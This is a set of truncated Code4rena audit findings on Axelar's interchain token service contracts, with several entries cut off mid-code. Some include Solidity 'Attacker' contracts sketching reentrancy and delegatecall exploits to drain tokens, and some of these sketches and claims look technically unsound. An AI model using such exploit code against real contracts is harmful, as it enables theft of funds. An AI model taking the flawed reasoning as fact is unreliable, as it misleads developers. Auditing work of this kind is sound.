xanoutas/solidity-security-findings huggingface dataset:
LACK OF VALIDATION CHECK COULD LEAD TO WRONG TOKEN TRANSFERS THUS BREAKING THE PROTOCOL 
Audit: 2023-07-axelar-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L641
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L161-L163
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L170-L173
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L653
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L657


# Vulnerability details

## Impact
The `InterchainTokenService._processSendTokenWithDataPayload` function is used to process the received token amount with data at the destination `InterchainTokenService` contract.

The received token amount is transferred to either the `expressCaller` or the `destinationAddress` while calling the `IInterchainTokenExpressExecutable.expressExecuteWithInterchainToken` function with the provided `data` to accept express calls.

The problem here is the `tokenManager` contract used to transfer the tokens via `giveToken` function is derived as follows:

        ITokenManager tokenManager = ITokenManager(getTokenManagerAddress(tokenId));

The `getTokenManagerAddress` function is used to calculate the `address` only and the contract does not need to exist already.

Hence this does not check whether the `tokenManagerAddress` received via the `getTokenManagerAddress(tokenId)` function call satisfies the following condition.

    ITokenManagerProxy(tokenManagerAddress).tokenId() == tokenId

As a result if the `derived` tokenManagerAddress is mapped to a different `tokenManager` with a different `tokenId` the transaction will still execute as normal. But the `tokenManager` from whom the tokens are transferred via the `giveToken` function is different. Hence the tokens transferred to the destination address are also different.

As a result the token which was transmitted by the sender via the cross-chain bridge is not the token received by the receiver. As a result this will break the proper functioning of the protocol. 

This could break the internal accounting of the system.
This could break the trust of the users on the system 
This could hamper the user experience of the protocol.
This could further be loss of funds to the `receiver` or to the `protocol`, based on the `value of the erroneous token transferred` to the destination address.

## Proof of Concept

```solidity
        ITokenManager tokenManager = ITokenManager(getTokenManagerAddress(tokenId));
```

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L641

```solidity
    function getTokenManagerAddress(bytes32 tokenId) public view returns (address tokenManagerAddress) {
        tokenManagerAddress = deployer.deployedAddress(address(this), tokenId)
TokenManager.sendToken/callContractWithInterchainToken/transmitInterchainTransfer require re-entry protection
Audit: 2023-07-axelar-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L83-L88
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L109-L114
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L136-L142


# Vulnerability details

## Impact

Anyone can deploy a TokenManagerLockUnlock for the existing ERC20 via [registerCanonicalToken](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L309), and deploy the corresponding token on a target chain via [deployRemoteCanonicalToken](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L325). After the TokenManagers of the two chains are created, users can transfer token between the two chains via [sendToken](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L83-L88)/[callContractWithInterchainTokenfer](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L109-L114). If the existing ERC20 is ERC777, such as [imBTC](https://etherscan.io/token/0x3212b29e33587a00fb1c83346f5dbfa69a458923#code), TokenManager will suffer reentrancy attack. This will allow the attacker to steal token from TokenManager.

## Proof of Concept

Let's take a look at the _transfer function of ERC777:

```solidity
function _transfer(address recipient, uint256 amount) internal returns (bool) {
        require(recipient != address(0), "ERC777: transfer to the zero address");

        address from = msg.sender;
        //@audit callback to from
        _callTokensToSend(from, from, recipient, amount, "", "");

        _move(from, from, recipient, amount, "", "");
        //@audit callback to recipient
        _callTokensReceived(from, from, recipient, amount, "", "", false);

        return true;
    }
```

[sendToken](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L90)/[callContractWithInterchainToken](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L116)/[transmitInterchainTransfer](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L143) call `_takeToken(sender, amount)` internally, and overwrite `amount` with the return value, which is used as a parameter for `interchainTokenService.transmitSendToken`.

```solidity
File: contracts\its\token-manager\implementations\TokenManagerLockUnlock.sol
44:     function _takeToken(address from, uint256 amount) internal override returns (uint256) {
45:         IERC20 token = IERC20(tokenAddress());
46:         uint256 balance = token.balanceOf(address(this));
47: 
48:         SafeTokenTransferFrom.safeTransferFrom(token, from, address(this), amount);//@audit callback to from
49
balance of the recipient to is updated after the token transfer (safeTransferFrom function) could lead to reentrancy attack
Audit: 2023-07-axelar-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/token-manager/implementations/TokenManagerLiquidityPool.sol#L94-L101


# Vulnerability details

## Impact
The balance of the recipient to is updated after the token transfer (safeTransferFrom function). If the safeTransferFrom function triggers an external contract, and that contract, in turn, calls back to this contract, it can result in a reentrancy attack.

the TokenManagerLiquidityPool._giveToken (address, uint256) uses arbitrary from in transferFrom #94-101

safeTokenTransferFrom.safeTransferFrom(token, liquidityPool(), to, amount)  #98

Contract name: TokenManagerLiquidityPool.sol

Code line: #94-101
function _giveToken(address to, uint256 amount) internal override returns (uint256) {
        IERC20 token = IERC20(tokenAddress());
        uint256 balance = IERC20(token).balanceOf(to);

        SafeTokenTransferFrom.safeTransferFrom(token, liquidityPool(), to, amount);

        return IERC20(token).balanceOf(to) - balance;
    }



## Proof of Concept
How reentrancy could happen:
An external malicious contract calls the _giveToken function with a large amount.
The safeTransferFrom function transfers the tokens to the recipient to.
Before the balance of to is updated, the malicious contract performs a fallback function call to this contract.
The fallback function of this contract is executed, and the _giveToken function is called again.
Since the balance of to is not yet updated, the attacker contract can repeatedly call the _giveToken function and drain more tokens.

// Attacker's contract
contract Attacker {
    address targetContract;

    constructor(address _targetContract) {
        targetContract = _targetContract;
    }

    function attack() public payable {
        // Call the _giveToken function with a large amount and value
        // Since this function is susceptible to reentrancy, the attacker can exploit it.
        (bool success, ) = targetContract.call{value: msg.value}(abi.encodeWithSignature("_giveToken(address,uint256)", address(this), msg.value));
        require(success, "Attack failed");
    }

    // Fallback function to be called when the reentrancy attack occurs
    fallback() external payable {
        // Perform malicious actions here
        // ...
        // If the attacker decides, they can call `_giveToken` again, causing reentrancy.
        // (bool success, ) = targetContract.call{value: msg.value}(abi.encodeWithSignature("_giveToken(address,uint256)", address(this), msg.value));
        // require(success, "Attack failed");
    }
}
// Deploy the attacker contract and trigger the exploit
Attacker attacker = new Attacker(address(targetContract));
attacker.attack{value: 1 ether}();


## Tools Used
Manual Review

## Recommended Mitigation Steps
The recommended approach is to update the balance of to before performing the token transfer. By doing this, the contract will not allow a reentrant
Using controlled delegatecall could in calling _deployTokenManager.tokenManagerDeploy()
Audit: 2023-07-axelar-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L808-L820


# Vulnerability details

## Impact
The use of delegatecall in this context poses a security risk. When using delegatecall, the called contract's code is executed within the context of the calling contract. This means that the deployTokenManager function is executed as if it is part of the current contract, and it can potentially modify the state of the current contract.

If the tokenManagerDeployer contract is not trusted or contains any malicious code, it could exploit this opportunity to modify the state of the current contract unexpectedly. This could lead to loss of funds, unintended changes in contract behavior, or other security issues.

InterchainTokenService._deployTokenManager(bytes32, ITokenManagerType.TokenManagerType, bytes) uses the delegate call to a input-controlled function id #808-820

(success) = tokenManagerDeployer.delegatecall(abi.encodeWithSelector(ITokenManagerDeployer.deployTokenManager.selecor, tokenId, tokenManagerType, params)) #813-815

Contract name: InterchainTokenService.sol

Code line: #808-820
function _deployTokenManager(
        bytes32 tokenId,
        TokenManagerType tokenManagerType,
        bytes memory params
    ) internal {
        (bool success, ) = tokenManagerDeployer.delegatecall(
            abi.encodeWithSelector(ITokenManagerDeployer.deployTokenManager.selector, tokenId, tokenManagerType, params)
        );
        if (!success) {
            revert TokenManagerDeploymentFailed();
        }
        emit TokenManagerDeployed(tokenId, tokenManagerType, params);
    }


## Proof of Concept
an attacker could  deploy a malicious TokenManager contract using a delegatecall exploit.
Malicious TokenManager Contract: The attacker deploys a malicious MaliciousTokenManager contract that contains malicious code, which can exploit the vulnerability in the tokenManagerDeployer contract to modify the state of the calling contract.
Exploiting the Vulnerability: The attacker crafts a params payload that calls the maliciousFunction of the MaliciousTokenManager contract and deploys it using the _deployTokenManager function:

// Attacker's contract
contract Attacker {
    // Address of the tokenManagerDeployer contract
    address public tokenManagerDeployer;

    constructor(address _tokenManagerDeployer) {
        tokenManagerDeployer = _tokenManagerDeployer;
    }

    function exploit() public {
        // Craft payload to call maliciousFunction of MaliciousTokenManager
        bytes memory params = abi.encodeWithSignature("maliciousFunction()");

        // Deploy the malicious TokenManager using _deployTokenManager
        _deployTokenManager("MALICIOUS", TokenManagerType.SomeType, params);
    }

    // Function to deploy the TokenManager using delegatecall
    function _deployTokenManager(
        bytes32 tokenId,
        Token
Using controlled delegatecall, to call InterchainTokenService._deployStandardizedToken contract instead of call()
Audit: 2023-07-axelar-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L841-L870


# Vulnerability details

## Impact
When using delegatecall, the called contract's code is executed within the context of the calling contract. This means that the deployStandardizedToken function is executed as if it is part of the current contract, and it can potentially modify the state of the current contract.

If the standardizedTokenDeployer contract is not trusted or contains any malicious code, it could exploit this opportunity to modify the state of the current contract unexpectedly.

InterchainTokenService._deployStandardizedToken(bytes32,address,string,string,uint8,uint256,address) uses delegatecall to a input-controlled function id #841-870

(success) = standardizedTokenDeployer.delegatecall(abi.encodeWithSelector(IStandardizedTokenDeployer.deployStandardizedToken.selector,salt,tokenManagerAddress,distributor,name,symbol,decimals,mintAmount,mintTo)) #853-865

Contract name: InterchainTokenService.sol

Code line: (contracts/its/interchain-token-service/InterchainTokenService.sol#841-870)

contracts/its/interchain-token-service/InterchainTokenService.sol#853-865

   function _deployStandardizedToken(
        bytes32 tokenId,
        address distributor,
        string memory name,
        string memory symbol,
        uint8 decimals,
        uint256 mintAmount,
        address mintTo
    ) internal {
        bytes32 salt = _getStandardizedTokenSalt(tokenId);
        address tokenManagerAddress = getTokenManagerAddress(tokenId);


        (bool success, ) = standardizedTokenDeployer.delegatecall(
            abi.encodeWithSelector(
                IStandardizedTokenDeployer.deployStandardizedToken.selector,
                salt,
                tokenManagerAddress,
                distributor,
                name,
                symbol,
                decimals,
                mintAmount,
                mintTo
            )
        );
        if (!success) {
            revert StandardizedTokenDeploymentFailed();
        }
        emit StandardizedTokenDeployed(tokenId, name, symbol, decimals, mintAmount, mintTo);
    }


## Proof of Concept
An attacker can craft the parameters to call the maliciousFunction of the MaliciousStandardizedToken contract and deploys it using the _deployStandardizedToken function then deploys the Attacker contract and then calls the exploit function. This function executes the delegatecall to the deployStandardizedToken function

// Attacker's contract
contract Attacker {
    // Address of the standardizedTokenDeployer contract
    address public standardizedTokenDeployer;

    constructor(address _standardizedTokenDeployer) {
        standardizedTokenDeployer = _standardizedTokenDeployer;
    }

    function exploit() public {
        // Craft payload to call maliciousFunction of MaliciousStandardizedToken
        bytes32 t
Users can steal funds in the contract to avoid paying gas 
Audit: 2023-07-axelar-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L334
https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L374
https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L428


# Vulnerability details

## Impact
Users can steal funds in the contract to pay gas when interacting with InterchainTokenService.sol to deploy remote canonical tokens or custom token managers.

## Proof of Concept
When a user interacts with InterchainTokenService.sol through `deployRemoteCanonicalToken()` or `deployCustomTokenManager()` or `deployAndRegisterRemoteStandardizedToken()`, they need to pass `gasValue` as args to pay for gas. However, there is no check to ensure the user actually sends native tokens as `msg.value` to invoke the call in the first place.

```solidity
//InterchainTokenService.sol - deployRemoteCanonicalToken()
    function deployRemoteCanonicalToken(bytes32 tokenId, string calldata destinationChain, uint256 gasValue) public payable notPaused {
        address tokenAddress = getValidTokenManagerAddress(tokenId);
        tokenAddress = ITokenManager(tokenAddress).tokenAddress();
        if (getCanonicalTokenId(tokenAddress) != tokenId) revert NotCanonicalTokenManager();
        (string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals) = _validateToken(tokenAddress);
|>      _deployRemoteStandardizedToken(tokenId, tokenName, tokenSymbol, tokenDecimals, '', '', destinationChain, gasValue);
    }
``` 
```solidity
//InterchainTokenService.sol - deployRemoteCustomTokenManager()
      function deployRemoteCustomTokenManager(
        bytes32 salt,
        string calldata destinationChain,
        TokenManagerType tokenManagerType,
        bytes calldata params,
        uint256 gasValue
    ) external payable notPaused returns (bytes32 tokenId) {
        address deployer_ = msg.sender;
        tokenId = getCustomTokenId(deployer_, salt);
|>      _deployRemoteTokenManager(tokenId, destinationChain, gasValue, tokenManagerType, params);
        emit CustomTokenIdClaimed(tokenId, deployer_, salt);
    }
//The vulnerability is similar in deployAndRegisterRemoteStandardizedToken().
```
(https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L334)
(https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L374)
(https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L428)

Then in `_deployRemoteStandardizedToken()`, `gasValue` is
User can bridge tokens in bad way, without send tokens and in steal funds
Audit: 2023-07-axelar-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/AxelarGateway.sol#L107-L125


# Vulnerability details

## Impact
The user can bypass the wanted bridge workflow and take token on the Chain B without deposit tokens on Chain A, this could allow a malicious user to steal tokens.

## Proof of Concept

The vulnerability concern the `callContract` and `callContractWithToken` functions in `AxelarGateway.sol` (I know these functions are out of scope, but it's a main element of the cross-chain transfers)  

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/AxelarGateway.sol#L107-L125

If we check the main workflow off the bridge in the docs: 
https://github.com/code-423n4/2023-07-axelar/blob/main/DESIGN.md#interchain-token-service:~:text=The%20main%20workflow,the%20appropriate%20address

> 	The main workflow of a bridge is the following:
> 
> 	- Obtains x token from the user on chain A 	
>  - Send a message to chain B indicating that this happened, and where the token should go to
> 	- Receive the above message, and hand x token to the appropriate address

 
But we can send a message to chain B for bridge token without deposit token on the chain A.
The main problem is the functions `callContract` and `callContractWithToken` are external and the user can call them directly and bypass the wanted workflow of the bridge.
When one of this function is executed, it send cross-chain messages with the Axelar's General Message Passing (GMP) and at the end the user receive tokens like in the below example.

**Example of attack scenario:** 
		
If we follow the main workflow of the bridge, Bob should use `sendToken` function  in `TokenManager` contract to deposit token to bridge, but...
		
1. In `AxelarGateway` contract, Bob call `callContract` with the necessary arguments and with his custom "payload" argument which contains amount, tokenId, destination address, etc. This is done without depositing tokens.
2. The cross-chain message is approved.
3. In `InterchainToken` contract, the `execute` function is executed, which call `_execute` function and call `_processSendTokenPayload` function.
4. Then the `giveToken` function is executed on the `TokenManager` target contract which make a `safeTransferFrom` to the address given by Bob at the beginning.
5. Bob receive the tokens.

## Tools Used

Manual Review 

## Recommended Mitigation Steps

I don't know who are the other contracts call the functions `callContract` and `callContractWithToken`, but I recommend to make a modifier 
(like the `onlyRemoteService` in the `InterchainTokenService`) which retrieves authorized addresses to make call on these functions
 and use it on these 2 functions to make the process more secure and executable only in the ways you want.


## Assessed type

Access Control